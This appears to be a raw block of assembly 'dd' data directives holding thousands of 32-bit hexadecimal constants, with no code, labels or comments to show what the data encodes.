dd 2302E04Dh, 0AAE97E3Ah, 0A8DA4069h, 8EF800A9h, 85FD53C6h
dd 0D0006436h, 43FA1A91h, 34C549Dh, 0C7319E70h, 0BAF9DED7h
dd 0A990D462h, 0C2B33D1Eh, 728F80F9h, 0B663736Dh, 3C4B0703h
dd 0D03E801Eh, 5E60A253h, 4900A0B8h, 0CDD248F5h, 34C1FDh
dd 0DF78038Dh, 0D910A9B1h, 0BECFCA00h, 0E7FC8CECh, 1AC86026h
dd 740F8FE5h, 8F72C00h, 0F946AAC2h, 229E01FCh, 53E173B4h
dd 0E59CCCF8h, 20CE0C0Eh, 0A22B8E41h, 4086EF69h, 23AD2Bh
dd 0DC3E1418h, 9C509D5Ch, 0CC95F000h, 0EA5B2845h, 6DF200EFh
dd 0CE1C3C9Eh, 2400F126h, 0C28DC756h, 9C41528h, 0F39BEBFDh
dd 0DE40668Fh, 59F4043h, 0BAD2A900h, 4D2AE79Ch, 11DD37E9h
dd 2082D346h, 707D4CD0h, 80020771h, 0A529BDFFh, 56BE6058h
dd 0AF1E00D9h, 0C3F62657h, 1103AA96h, 0F5DCAD1Ch, 0E7E888F0h
dd 0A01E1255h, 2E6000DBh, 0CF08E934h, 9514D903h, 5F882Dh
dd 5E929166h, 0DFF6C387h, 30640400h, 93D378F1h, 68C8618Fh
dd 2085361Ah, 5B00A254h, 38CE18E4h, 20C84B3h, 0B93BFC31h
dd 0E4C0889Eh, 0F04DBA3h, 0BF3AE8C0h, 0B9305883h, 55EA69E2h
dd 99937DE3h, 101BF2CFh, 3C3099C0h, 0C407B100h, 29E50AABh
dd 61EE0058h, 0FBCA061Ch, 6700FC65h, 6CAE15BCh, 7E5931A9h
dd 145B8D8h, 0B540E69Ch, 0F8930AD7h, 0DD071C66h, 422302A6h
dd 0AC053CD5h, 0E431C8B1h, 9887C4C7h, 0C0050863h, 864C4212h
dd 786FCB01h, 624916F6h, 54FBECh, 8AE6B136h, 0C2A90A8Dh
dd 106EE3Dh, 87F8F95Ah, 0E025216Dh, 0E44160h, 15D9E688h
dd 0BF82BBF2h, 0A240D701h, 4D254513h, 4749E4h, 3A8834E7h
dd 4EA6EB9Eh, 55DB7A16h, 14300107h, 61D9D130h, 0F76E00CDh
dd 0FF45DFA6h, 2384C59h, 0EC178EB0h, 27F40081h, 116541h
dd 0AC4EF0BEh, 0F90A5671h, 59B28200h, 0BDB7E288h, 4861607Ah
dd 4A505D8Eh, 927DD039h, 7B004C8Ch, 0AEBA9930h, 88790059h
dd 0C47758C5h, 890003D9h, 0A417C93Eh, 0D8D1FAh, 0A9671695h
dd 22907C11h, 8E8391B0h, 8B3D0CBh, 0A064F4D2h, 6A7F0D03h
dd 894FA5E9h, 0A8306B37h, 0B1F413h, 0E125BC55h, 9D5A22EEh
dd 0DCAEB800h, 0E0014C50h, 2422B880h, 0C07115h, 9D6EF2EAh
dd 2D280CAEh, 28389853h, 19750099h, 675A72CDh, 0BC6900D5h
dd 0BE2BD42Ah, 0ADE695EDh, 80145339h, 590752B9h, 1D433C3Dh
dd 8094D4C5h, 6A99E141h, 92079C6Ch, 1C9563BFh, 0C16659B0h
dd 8B820027h, 0CFDE9FAFh, 0C2020A83h, 8F0E99D4h, 0BAAC80E5h
dd 7F6AE332h, 71D00A7h, 630D9252h, 210F6065h, 0C06C73D0h
dd 8FB12B9Dh, 46F6F9h, 1E6922FDh, 4B15B8F8h, 4A997800h
dd 0AA3AF112h, 864D007Ch, 8FEA50BEh, 3B0C3909h, 1873AF3Dh
dd 3C88001Fh, 9DF03295h, 0E3007AE6h, 0B298113Bh, 12574276h
dd 0CF8D2Bh, 0D6287B7Ch, 77F4C0F6h, 50928EE0h, 803B4C24h
dd 79081281h, 0A840A85Ah, 60E62C5Eh, 0B82A308Bh, 4900D5BCh
dd 0D7CB1D82h, 5144437h, 9865015Bh, 0DEA4C0C6h, 897C0981h
dd 0DC495900h, 0B54A1EBCh, 0D17434h, 2505F016h, 0C38E8022h
dd 64146F00h, 0E9188577h, 3F1F00C1h, 1529D8C0h, 0E0005ACFh
dd 0B520E8E6h, 62F64B84h, 4260B1A6h, 20C00F57h, 50B66F9Ah
dd 0B29B0064h, 0CB5DF8A4h, 0EE0345B1h, 6BF20220h, 11B9001Fh
dd 1A73F913h, 9603B426h, 0E5E72D39h, 1C2CE8E2h, 60EA6018h
dd 93B447A9h, 340144BAh, 9B8843FBh, 0BEC4A555h, 71C9857h
dd 0ED8A6FD4h, 0D0ECF529h, 0C8609650h, 21B753Ch, 0F911B67Eh
dd 8877407Fh, 0E44E0155h, 0E08CCF5Ah, 0F0C4DC06h, 4C0B853Eh
dd 319E3B2Bh, 2CCD301Fh, 2FED2840h, 13A09899h, 55F4E03h
dd 2D6CC02h, 5971B610h, 9CD26468h, 77B0E6EAh, 0C40C82F2h
dd 0C99E07C8h, 0A07554A8h, 0E620C1D2h, 70366864h, 18000398h
dd 37BFB33Bh, 0DC285Eh, 7AB71488h, 0DDB05720h, 4493E101h
dd 6D5B4296h, 3B130C0h, 0ABB8753Eh, 0DAA0FBA6h, 0AA0F1584h
dd 0C62EDF49h, 3F995CCAh, 4CBE9EB7h, 0EDB0A680h, 0E6615BEFh
dd 0FC0102E2h, 87824704h, 0A080A854h, 5725BE77h, 0BB0F262Ah
dd 5F44990Bh, 0C161810Ch, 15B62CA9h, 0C9110155h, 98696E7Eh
dd 56218509h, 0D96B00EDh, 702830E6h, 8900A34Fh, 2949F674h
dd 18F2BE96h, 304B21A9h, 0EF24E9E3h, 894030CAh, 61FC7C44h
dd 0CC9EC2C4h, 540899ACh, 7CF08BD1h, 461928B5h, 9F6F00FDh
dd 3DA72E82h, 0D806733Eh, 450DBF47h, 2CA97231h, 1393F72h
dd 7085B3Eh, 0D820B28Dh, 140E30ECh, 0F1119411h, 80B88F88h
dd 61E96BEAh, 5772CCh, 2329C382h, 285B04F6h, 982A9715h
dd 0F82398h, 1180143Ah, 44867F51h, 0C600AD81h, 1E46D76Bh
dd 0AB8329h, 4F076A60h, 0D3A94CE9h, 3A0A1218h, 632FC0h
dd 6EE632F5h, 0DE605386h, 0E0A5D600h, 0A3135627h, 0AF3A0174h
dd 0C26C6B83h, 71BCE068h, 30598F00h, 0AE28A77Bh, 0D1CB004Eh
dd 0A0038EBBh, 460EC5FFh, 0FFB8011Fh, 0AD547207h, 51957E30h
dd 0F4BA3A79h, 0EEFF280h, 158E6D42h, 2C48D800h, 73C05E80h
dd 0B9640003h, 98A66F88h, 2874BD22h, 0B01D191Eh, 5D573F44h
dd 0C17980AEh, 0B20092E2h, 0D71B052Ch, 3A10D2h, 6EB114BBh
dd 670C44Ah, 0AC7B1C00h, 0FADED93Eh, 0DF930105h, 5741E322h
dd 76143074h, 0D4272D00h, 4F97A140h, 1230C066h, 984DC23Ch
dd 771B2E00h, 0B845CAF3h, 6BE50076h, 0AC7A7569h, 784406ABh
dd 67E1007Ch, 70A056B1h, 0CE1D0E18h, 949F98C5h, 0D50844C0h
dd 0E80D19h, 74BE2641h
dd 9215B10Eh, 141B7E00h, 0A58D2F52h, 9FCA017Dh, 3124F7AFh
dd 98C08412h, 46C09206h, 7C6F1346h, 5AC0002Ah, 3FCBE38h
dd 19079652h, 0FF46A0EFh, 0E5AD0DF0h, 7D3A3861h, 7FA8C87Eh
dd 9239980h, 56D41Dh, 1F2011B4h, 0C5F99126h, 0A3941C1Eh
dd 0EF827000h, 0FB5D86E3h, 904D1E8Eh, 208F0C86h, 0EB7A5A1Ch
dd 32784C83h, 639D82DEh, 70238009h, 59770035h, 123B333Ah
dd 0BD71C8ACh, 0F41038C1h, 0A420E676h, 1D890749h, 46867111h
dd 0AB0021C5h, 9633E6EEh, 3DC8521h, 8952A68h, 0FBE3315Bh
dd 0C31F1CF8h, 5E26613h, 0F8C0B401h, 64869435h, 48AA0B77h
dd 0F70083F0h, 0DB3118DCh, 3A289CE1h, 2E18FC63h, 8B6A2020h
dd 0A482DD00h, 2A65BAB3h, 0C8EE67D2h, 0B656D298h, 8821D1C2h
dd 8B259910h, 97B039h, 2E4FE8AFh, 1F87951h, 0AAC8CF2h
dd 20886DA9h, 0E07376FCh, 4AF91B00h, 0BC91B82Eh, 0F66503D8h
dd 0C13551B0h, 5000CBABh, 0CEEBFFA3h, 7634E7h, 4E99579Fh
dd 11A4A8FCh, 5A20CFh, 1317A6FFh, 0ECD700C8h, 8526A0C5h
dd 2A1E77F7h, 59300F3Eh, 6014BCE3h, 0F234C806h, 7F006308h
dd 0FA55A0FCh, 7E958Fh, 1E0B3320h, 14619B6Dh, 2CDE4800h
dd 0F05E06A1h, 0FFE1004Ah, 72C9F93Ch, 66F6BA4Ch, 8A35BE00h
dd 0BDE5254Eh, 7CFD00AEh, 63B3F8A6h, 0F2008E92h, 90FBCFA5h
dd 6CB525h, 0E17B684Dh, 0C923D4D1h, 309A5A30h, 0E1480h
dd 5022EFCh, 0AA987A42h, 0F46FF503h, 0C8E00F07h, 30C90Ah
dd 38832EF6h, 988D10A1h, 0AD66EF00h, 0B2D99D6Eh, 0B532001Ah
dd 99035360h, 0F00EA0Dh, 0C15DA622h, 0FC2A5D9h, 2C463FEFh
dd 0E31976A1h, 27D7D80Eh, 0A887B60h, 0E6C1B83h, 0E9968DDFh
dd 0B0F7E060h, 4D0E362Ah, 60D402FEh, 4601AC86h, 0F6C90333h
dd 8449FB4Bh, 885E8790h, 0AE09360h, 37A1CCh, 0BF4E3E51h
dd 6E1531B9h, 0DE2651Fh, 384C078Ch, 3CCB7464h, 0AA00B5A5h
dd 2535F996h, 2E07F70Ch, 1CF8EF91h, 0D9563630h, 5D881D90h
dd 2EA4DD94h, 652800C6h, 0A9BDA842h, 0E378A602h, 80038918h
dd 0CB01E7EEh, 301A007Eh, 0A9159F9Ch, 0A36125BDh, 802D5029h
dd 12CCFD01h, 0C1288581h, 0D0D1141Eh, 0CEA4911h, 50796ECCh
dd 7B4D075Dh, 706325E3h, 0DB23F59h, 4700B0FAh, 0B9F7E1E5h
dd 2EC737h, 4EE29D60h, 0E98F965h, 0CE97A026h, 30B0C400h
dd 0EAF285A7h, 0A8E038h, 98FAD2CFh, 3524B8DDh, 9242EF0Fh
dd 0E0576E0Bh, 0CA08CB81h, 68450328h, 6B36A698h, 60A0AAC8h
dd 0AE4C5000h, 23759CCh, 0DAF100B9h, 0D412CA78h, 1600B6D5h
dd 0B5B7E7CDh, 0E668A5Bh, 52E82B2Eh, 0FD015780h, 0C1E33BF1h
dd 0ECBCFC95h, 0A6A57500h, 33855035h, 44A20140h, 0A8780F74h
dd 1C44087h, 9400EAF6h, 454BD865h, 7671DDF1h, 38EF2C3h
dd 70926B49h, 0ADA0D262h, 2F0C3FA2h, 1096A075h, 0B6020056h
dd 542E653Bh, 42051A20h, 0DD37BBC6h, 91815780h, 7C80A0A7h
dd 26B800D8h, 0A1C30887h, 0A8EAC13Fh, 180A7100h, 0C00BBACFh
dd 0E303005Dh, 86B1F98Dh, 340052FBh, 4DCB9001h, 0E8E64636h
dd 0FC781DA5h, 0F04580C6h, 476D9CEDh, 73615400h, 0C1F29E72h
dd 757100B8h, 851E42BAh, 0DE03CA80h, 31DB3026h, 7FA6A9F9h
dd 0AD9E2080h, 0E75EEF2Eh, 20C9ED0Fh, 0E46C607Ah, 0DD6DF4h
dd 0A0C02331h, 77D86B54h, 3A343B00h, 0B01EBE41h, 0E90F165Ch
dd 767300CAh, 2C329BECh, 821FDC00h, 0D4CBA92Bh, 0A5880370h
dd 0F88C447Bh, 0D0189190h, 59F04Ch, 0C41DBD74h, 2FF7CBh
dd 0A1634ED6h, 9C9FF660h, 0BB64A700h, 3593DEF3h, 9E460742h
dd 0F07CC9DDh, 0B2724E17h, 0CB5BD400h, 0F42C8506h, 204203FBh
dd 0D2F9E5EEh, 114963E8h, 7CBA613Ah, 0D30054F2h, 72D6703Eh
dd 0E90D2327h, 1EAD3AC8h, 87F4E21Eh, 7F2909A1h, 70AE79C0h
dd 0F100BB7Eh, 1CC6F50Ah, 0C00691E5h, 7228B850h, 7C1CF2E3h
dd 0B9008D19h, 0A104E735h, 81C10027h, 0B4A9C65Dh, 9700E096h
dd 7C46058Fh, 74360EAh, 0C75E4DAEh, 37617019h, 0D20058AAh
dd 9DE0FDBEh, 0E232594Ah, 1250E8F3h, 6FD9D1h, 0A0DA5594h
dd 6800ACAEh, 3DAA3C7Ch, 8891E2h, 6A9887FDh, 0FE2A1A9Dh
dd 0B182D31Eh, 25C3F4C0h, 80C716h, 92D8AF0h, 0FAD5B4E9h
dd 9DBC2201h, 0E44AB7BAh, 0FBCC60h, 0F3143B8Fh, 0E9A97D93h
dd 0C197BE03h, 0B8A57FF7h, 0D25668h, 0C8AF44F6h, 434E9E98h
dd 89E7BA00h, 3B5C18F3h, 89F00D2h, 0ED01B75Ah, 0A0001DAFh
dd 5D96B05Eh, 2A5743h, 3EEF99EBh, 0D9867430h, 7689F800h
dd 0E5AA52B8h, 40D0C08Ch, 5743BF3h, 0F0A2D000h, 6BBB42E4h
dd 0C6B6031Dh, 13EAFF23h, 47F114D0h, 254A641Dh, 0E3AF5780h
dd 480A5Dh, 42C3D007h, 37FCCFDEh, 4109648h, 0F57057CBh
dd 6E801600h, 0CC4C7C95h, 413EA050h, 0AA1B0056h, 0F5C8E973h
dd 5400F3B3h, 98CA2E67h, 25E4Ch, 6EF7426Ah, 89BD558Ch
dd 0E9B8E400h, 45A1C0D4h, 79D52CA4h, 652F00B3h, 0CA76218h
dd 0F3251C76h, 6A5EB8h, 6775FCDh, 1575AFF0h, 0B20F5500h
dd 44D7ED5h, 0FC9A3FC9h, 4A526300h, 7A8773ECh, 0A7720500h
dd 0FFDA6883h, 0CC6200F2h, 0A4FC4AD5h, 0A200998Bh, 0D4BE30BAh
dd 462118h, 4D280B13h, 0EEF7C422h, 0F407C373h, 0DE0766A8h
dd 829CBAF0h, 903239D5h, 9A05A282h, 7FC0B7CCh, 0A3001F30h
dd 863622A4h, 14804C8h, 8ADA09B4h, 0F4F2BDD3h, 7000B7F3h
dd 81C29E8Fh, 6573EAh, 3FB3AE3Eh, 0B703C1A6h, 2C3D7F00h
dd 33DE54B4h, 0BC771F0Ah, 9F4A41B0h, 0EC38A332h, 0DAF47B05h
dd 45B28700h, 2A1350BCh, 5A0D0077h, 7D676914h, 8409DE4Dh
dd 80C28EF1h, 6A132386h, 733600E8h, 5FFF29C5h, 30EF63FCh
dd 0B20092BCh, 0CE227023h, 0BB5B5Ch, 8C615A95h, 0C85819DBh
dd 0B643E30Eh, 0B26260EBh, 4E8FD8h, 8B1D65CFh, 0AF7ED978h
dd 3DD50B01h, 9A670CF8h, 901F3FC8h, 0A9B50083h, 8BFA634h
dd 0F1003EA7h, 3FC349AEh, 0FBBC1F3h, 92ACB2E8h, 485BFE80h
dd 4D0080DFh, 0D84596FFh, 596B71h, 8D3561BCh, 29AFD6ECh
dd 0C2E60700h, 0E2080126h, 67F10031h, 0FDEA8A8Bh, 0B92E1DE3h
dd 6007A7D7h, 1E803FE1h, 5798B4h, 4CD48CA5h, 6E323686h
dd 0D9146700h, 9F711D33h, 24700BFh, 0C5F572A5h, 3D0FEA27h
dd 0E01992BBh, 2F2D6C81h, 836500A7h, 3C45BC57h, 0ED0EE4BAh
dd 0A0EFA886h, 0B5723230h, 192A1CDDh, 0DAB407CDh, 36515062h
dd 0AE0E492Bh, 0B7641F7Eh, 0D3A5830Eh, 0A3B77400h, 0B15609h
dd 0E00D075Eh, 8A615B44h, 234CEE1Eh, 3A90100h, 0F5A7F3h
dd 63843697h, 0AA41B9FBh, 8FC86E00h, 0D6233249h, 0CEC748D0h
dd 3FE7F100h, 0ABE010A0h, 9993D500h, 3C9D0ED3h, 0C6E3004h
dd 708EBCBAh, 87BB5501h, 0C878E06Ch, 0D922D8h, 45836826h
dd 0FB4DF335h, 6EF9F602h, 608DC351h, 0A21EECh, 2B6AD963h
dd 2D64A51Ah, 933E011Dh, 0BCEBDD80h, 98E66E07h, 83F93854h
dd 56A9119Dh, 20A0005Fh, 2D5CEF6Fh, 80B8A47Eh, 94E39B03h
dd 0F30FC680h, 0D895CB39h, 4EEEB1h, 6A06CE38h, 0D750DEC2h
dd 0A0A56B00h, 0CC3BFCCBh, 0B879CDh, 0E4E560F4h, 8338464h
dd 0BC44C413h, 812CDE1Dh, 104C6700h, 2CA52A45h, 422DCCDh
dd 0C0E77BCAh, 994AAAA4h, 38005BB8h, 0A40474A0h, 86CEB1h
dd 22062A30h, 0C2A639ACh, 0B7A6AFAh, 0A9BB4D00h, 335F2018h
dd 304100B3h, 77AC24CCh
dd 0FFE323A2h, 5280D800h, 72838208h, 761A1901h, 0C0A61894h
dd 0FB00394Ah, 9840F399h, 3EB08C75h, 2A0C32CBh, 0C228B209h
dd 0CF8F5E00h, 0EBF658CAh, 8CCE007Fh, 6C539503h, 0C50044B5h
dd 3285A5C3h, 37478Ah, 0EFE7C6D8h, 3E972C7Eh, 0AD201500h
dd 0EC42FAB8h, 4A2200A3h, 0C7124FBFh, 2716E43Bh, 2845FF17h
dd 908834AAh, 0A59C0FCFh, 10C04124h, 0DE0A62E8h, 0ED96B301h
dd 0E05A532Dh, 0C060C9C5h, 725806B2h, 10EC1D85h, 0B60C3B03h
dd 0AFF430h, 0E399B2D8h, 9326CAB8h, 6F98DC00h, 0CD0AE664h
dd 5D88009Bh, 7FE93D92h, 0A6005563h, 82406F79h, 83FE03h
dd 912E6538h, 0D61C0D17h, 66753Ch, 0D02C0E8Fh, 4860F98Dh
dd 5E179419h, 0DBDA0047h, 0F2CB96E4h, 31C0C9F8h, 9BDA0FCCh
dd 32FE0118h, 538B3C91h, 0A1F8BF8Dh, 222A0089h, 17B9CA80h
dd 263A087Ch, 254100EFh, 1BC38865h, 37C4031Ah, 82248DC1h
dd 0A1D903C3h, 8B02FEEh, 73490EF2h, 2F608541h, 0CDFF3892h
dd 28E92002h, 442EE47Fh, 58B407F4h, 63A66E19h, 48A3C413h
dd 0C498F8F1h, 627C367Bh, 0E13A9D00h, 0BE5D4B47h, 0DFF7004Dh
dd 0C8A2F6D1h, 6C093664h, 805CD451h, 0EC0FC0E4h, 0B19800B8h
dd 2C073397h, 56EABF40h, 3BA98403h, 0C814A287h, 0DFC2ACh
dd 1D9A5B2Dh, 91BD2BAAh, 4B020300h, 0B70AA668h, 0FE94178Ch
dd 230800E6h, 0E5F2A990h, 0CC59962Eh, 3E827F1Fh, 601BF524h
dd 7BD3F08h, 0F89858D1h, 24307980h, 160126C9h, 548D2548h
dd 984007FDh, 57B372h, 535F621Ch, 0A0F46DDCh, 0A77E9101h
dd 8FF014D5h, 8412DC40h, 510F003Bh, 0D03506CBh, 9D00E4F4h
dd 0B2DE4CE5h, 92F725Ch, 7E3BBBE8h, 9A839C81h, 6EA07050h
dd 0C7751E00h, 565C851Bh, 7AC1009Bh, 0EF41F654h, 0C300C243h
dd 334B7B80h, 90F0C51Eh, 5B110A70h, 3C54AD0h, 0B1E84E0Eh
dd 0F0C594B9h, 4401DB9Fh, 3DA9C369h, 95C058F9h, 0FE59008Bh
dd 135ADF07h, 5600F1ACh, 0ADB7C08Dh, 44A40F8h, 4B2D390Bh
dd 0E0A9C742h, 0A6D3B6E4h, 314CB3Ch, 0ADC334BBh, 0E180D48Bh
dd 0E45374C9h, 345250Fh, 575FC080h, 3E48AAF6h, 0F37312DCh
dd 5B9190C0h, 988A0094h, 0C2C6B56h, 0E0B0A721h, 0D7135307h
dd 11F0C3ACh, 98AD9219h, 2B4700C7h, 0E13E8C7Ch, 630E3729h
dd 606FB18Bh, 0BCD2E426h, 0FE3012ECh, 52BC0E2Ch, 3E1F0BE0h
dd 2600A490h, 0DE71967h, 290987h, 9BBC6DFBh, 727835D5h
dd 22BF3C01h, 85CDAD0Eh, 0EEB7B883h, 93B8E45Eh, 430173C0h
dd 0EC7C686Eh, 9DE5B3C8h, 80B9C980h, 7A5A59A9h, 0ECEDF700h
dd 0F978612Dh, 9E1201DAh, 0D88E89FBh, 28CFCC76h, 3C1F48h
dd 0CCB46E78h, 76D1D4Ch, 3880F14Fh, 57D2C0ECh, 647297F7h
dd 783AAD4Ch, 0BFDDE500h, 0BC97B9Ch, 0D92F07D1h, 0FF42CF61h
dd 105FC407h, 83B9D75Dh, 0C05C5E00h, 0A6EFB7FDh, 94AF004Bh
dd 688892DCh, 0B9123069h, 2CC004EBh, 5671C4Ah, 199841CDh
dd 9E148062h, 9000BBEEh, 0CC37DE3h, 1E2C686h, 0C9CA4DA1h
dd 0CFCC3238h, 2A54B181h, 16C6DF0h, 0C498E9E2h, 605B8683h
dd 0DF75A000h, 1A50437Ch, 3B13DE70h, 902A4BC9h, 0C0F8BC1Ch
dd 37BBC783h, 0B49C0BE5h, 0A40E5F0Fh, 7891E11Ch, 98E3E8DDh
dd 1D5C2C1h, 35D7254Fh, 809F8F7Eh, 0BFB28920h, 2AA13Ah
dd 0AF23112Fh, 9F0449EAh, 74C7C5Ch, 0C555518Ch, 0C848F823h
dd 77AC489h, 0E4D8849Dh, 662F934Bh, 100A70E7h, 0AD0247D5h
dd 0A03E1CA7h, 8100C0D3h, 88F654DCh, 5063004Eh, 744B1D19h
dd 5828963Ah, 8300F8EAh, 3BFD626Ch, 0B0AF3F69h, 7D09A00h
dd 1EB9DB01h, 1820AF94h, 0E4D5B205h, 0C7614700h, 8C6F7D33h
dd 0FACB0755h, 0E0DE9832h, 75F75EF5h, 0A9444716h, 7BD81B04h
dd 0C684E0h, 951DD402h, 6E6B713Ch, 992CF27Bh, 0E283CC27h
dd 0A419B69Fh, 780D90C0h, 35B8D0h, 7C85FF45h, 95AE982Eh
dd 16070B0Eh, 0EE2BE068h, 0A830E62h, 58EF430Ah, 6B600B0h
dd 2E80C745h, 57539D00h, 85C67112h, 44782Fh, 0E7BFAB0Eh
dd 8AFD8F32h, 51729301h, 0CC9A18C0h, 42E0E421h, 97060BB0h
dd 0E423FCF5h, 0CF885CDCh, 4D0096ABh, 2B2D2329h, 7D403Dh
dd 66265E36h, 71D8529Eh, 4CD74200h, 0DEF96E95h, 0F87EF0D4h
dd 0E67F0C3Fh, 5D11DDCBh, 0C5206160h, 6F04345h, 1B1F04DCh
dd 0EAFE70E3h, 658CB30Bh, 204A8799h, 1512FB80h, 0E020C681h
dd 66132998h, 9100AC93h, 0EA21ABEFh, 1C2E14F4h, 8C2024AEh
dd 0E97F01EFh, 1170D0h, 7B6CFA0Ch, 0D407D549h, 0DA05AE00h
dd 5C0378DBh, 59EA5815h, 0B5817305h, 1468C8CDh, 5E0E2FFCh
dd 63FC23ACh, 0F3D45F9Eh, 16480179h, 0C61B077Dh, 94A98214h
dd 4184AAA6h, 0C3302A48h, 0A8B300D0h, 41B1383Eh, 0DFFA56CBh
dd 90D30700h, 79A96809h, 427A00A4h, 21D887A8h, 0B9001778h
dd 0A3EE7B11h, 0D5330h, 39692C33h, 0A74BFB59h, 50120C00h
dd 846542Dh, 0DDBE1D48h, 7B1A404Fh, 455A493Eh, 4DDB0F00h
dd 0E1E8BCD3h, 8769002Ah, 37506E57h, 239FB6Dh, 2CC400DAh
dd 1271FC80h, 607339BFh, 6A287D00h, 0AA763817h, 511F0501h
dd 2FB0340Bh, 988468F0h, 823B0404h, 90838588h, 1D71B1C0h
dd 3D3C53Fh, 0DC149874h, 0C845A24Bh, 685840h, 29B5D033h
dd 6CA8AFBAh, 1C0BA70Ch, 0C09058B9h, 36D19449h, 6C01EFF6h
dd 60587C7Fh, 0FAE86A29h, 0B1253B7Dh, 40961A99h, 0F0C8E48Ch
dd 0BDC07154h, 8FF5C33Bh, 0E3B1217Fh, 0A3BFD8EBh, 5821005Eh
dd 3A52F529h, 4300285Ah, 83313C3Bh, 60701C7Eh, 0C5D1680Fh
dd 0F0E00899h, 0FDD6A401h, 377DA855h, 3B07CCh, 4CABFF9Fh
dd 0DE3648F6h, 0A7D2CE00h, 3351D6EBh, 0B20001Dh, 0F8735515h
dd 0D30023B6h, 0C21F9DA5h, 3FE3CF5h, 0A4091D25h, 698AD948h
dd 0DD7F8B60h, 397ABC4Ch, 0F07580E4h, 0FB6F0253h, 0ADC901CBh
dd 835E20BDh, 0C49271ACh, 0E700E4DDh, 0E21FB919h, 0EF7FF16h
dd 10836DB0h, 49D2CBA0h, 0A45CC081h, 0F4670116h, 0C526A7EBh
dd 167DDCh, 9FB7320Eh, 0F14C5699h, 503CF00h, 649AA89Ch
dd 13CC0F54h, 128004F0h, 3C0FEADh, 0AF0024E2h, 0EB436AF6h
dd 1B6064h, 0E91EF1D0h, 0F334FF7Dh, 0E5FEE81Eh, 0B13DAF82h
dd 42ADE006h, 776A1FC2h, 0FF548C6Dh, 9F261E20h, 6C0065BBh
dd 97A327F7h, 0AD3400B8h, 0CA30CD39h, 7E002803h, 0E90BC25Eh
dd 0CF7D367h, 0E4A36033h, 3706E591h, 0EE7682CAh, 0EC91F0C0h
dd 621F00C3h, 704D9715h, 4C30F82Fh, 0E0421CCh, 8C5A01C4h
dd 27E956D4h, 0E0C86192h, 4B00F272h, 7639AE9Fh, 3F01CE94h
dd 35B1E914h, 7022CFB0h, 650F0656h, 854EAC9Dh, 0A2C30EFCh
dd 1092B170h, 3E32980h, 0C5B97460h, 0D81DCEDh, 6530E97Bh
dd 0A3522048h, 34FC025Dh, 92449FC0h, 780002E3h, 62DE5FC2h
dd 0E88F3Bh, 3FA3C4F7h, 0A97D5461h, 0F5D4F000h, 5B47B309h
dd 575AC0F1h, 5DC2562Eh, 32EDEC00h, 0AFD776F9h, 7CF0705h
dd 9031DB09h, 909A39D1h, 742D4D0Bh, 7ED600C0h, 0EE67D2Bh
dd 35AF2834h, 0F02F240h, 9F1DF69Bh, 4A407506h, 0B2B9660Dh
dd 41F8006Dh, 0C1C340A1h, 43182C25h, 0E77601E8h, 99E10046h
dd 0D7293FB6h, 4400E40Fh, 0FD6BFCF3h, 0C55B42h, 83728295h
dd 2A52C2E8h, 0A000DCF0h, 9197FF85h, 0FB11D4h, 23BDE97Dh
dd 2F06CE98h, 7A5C3907h, 0F260BE07h, 1A6C9A4h, 1AEC05DEh
dd 0E4E56AF4h, 0F500A316h
dd 0EA55E2F1h, 0FF21932h, 0BB388422h, 0F4F3D7E1h, 0AAB680ADh
dd 0AB67485Dh, 80DD60AFh, 7BFDB2E1h, 0F9BCF800h, 0E7792AB6h
dd 44D13CF1h, 0B37C1380h, 0CF3FB083h, 0C1C2E503h, 0C53685Eh
dd 0F68C75A9h, 5072018h, 3EE270D0h, 0CF6061B0h, 3074B87Ch
dd 0BC50EC89h, 3A00C162h, 0B91415B2h, 16E96B86h, 0E2FB2Bh
dd 0FC3176BBh, 6C00C2F8h, 44844889h, 0E46294ADh, 1C1A008Bh
dd 0EB4C1EA0h, 0D00E5D9h, 96CFECA3h, 0EF3B9F6h, 5ACB81FBh
dd 227D8E21h, 4079C9B7h, 0F75F0324h, 58C6F214h, 362600F3h
dd 4B865C96h, 5314C07h, 806EC81Dh, 697589F5h, 79031C73h
dd 0AA8B9199h, 343690EBh, 8E5600DEh, 0BB7FA1ADh, 8300F9E4h
dd 5E1C4480h, 0E414B792h, 1D121FBAh, 60F1805Fh, 0B28AFE25h
dd 0C4CD1B0Ch, 1A75918Fh, 69470462h, 83C92F81h, 0F9ADE856h
dd 3E194C61h, 6503C237h, 680185C3h, 0ED26B8E1h, 6E20F7A5h
dd 599E0604h, 0F8203AD3h, 163B331Fh, 0D78FEA83h, 3B083A3h
dd 0F6921DA1h, 80974B43h, 5356F5D3h, 2BCFAF00h, 546EB394h
dd 0FEED0005h, 845E13D9h, 4A3E14E5h, 6C721CF9h, 0C0817C4Ch
dd 77B807D7h, 0C0D1DCCBh, 0AE7A64F1h, 949BF400h, 43579D37h
dd 77F4B0h, 796CD0BAh, 0AAA5326Dh, 9930552Ch, 6E521201h
dd 0DD009D3h, 8820CC7Ch, 0C70095EAh, 2DC8DBB0h, 67CB5CD9h
dd 609C411Ah, 6F14AAF4h, 0D128E800h, 8656EC0Dh, 0E0101F9Bh
dd 88E90F1Fh, 3269DA80h, 0D047905h, 0EB865B83h, 0E88E2480h
dd 980A1FFCh, 20F5F9h, 6C5A5E2Ah, 1331D53h, 0C0CB3970h
dd 7C734E4h, 0BEB8FEDh, 6295C06Dh, 0DA306C89h, 0FB4C41FFh
dd 67200EEh, 0C6861C69h, 4200ADDCh, 0C8267C65h, 20848A8Eh
dd 0C9DD3583h, 586E3B00h, 0C0639569h, 99A7D910h, 9CE8F0F7h
dd 0D7F26D0Eh, 0D67186B3h, 0BFD3006Ah, 0F05AC999h, 454F783Ah
dd 693106ACh, 0F014F451h, 381371E3h, 3600C83Dh, 6EA2C664h
dd 0FF6A0599h, 48148B98h, 2FC2DD90h, 3470415Fh, 88809058h
dd 5A004C28h, 7B136170h, 1A1E448Bh, 0D011A453h, 0CC4D8418h
dd 468D9201h, 4CA885DBh, 0A938C4h, 5B9EF03Ch, 706705BFh
dd 0FE11400h, 653E07CCh, 6B7AA3h, 0B07A6869h, 33145E01h
dd 0E15A5000h, 0E7328CC7h, 0F264E231h, 0EC280FDFh, 6E20A35Dh
dd 0F794DECEh, 0E61FF600h, 8F274941h, 0A68A0057h, 7E34F1EEh
dd 3500E23Fh, 75928D5Bh, 0C2DCDh, 2B87FEC5h, 6F2F6E6Dh
dd 0CCA0BC01h, 0FF590383h, 7097BA60h, 455503C9h, 3A8A4034h
dd 0B5941598h, 0AC7A2100h, 0FF04073Fh, 0CDC33C74h, 6E8B72BEh
dd 0D28BABA1h, 0C4B38E00h, 4B001252h, 0F8EC5C32h, 1371C1D1h
dd 0FB657Dh, 47EA25Bh, 920025B8h, 0B5150D60h, 0E3E2066h
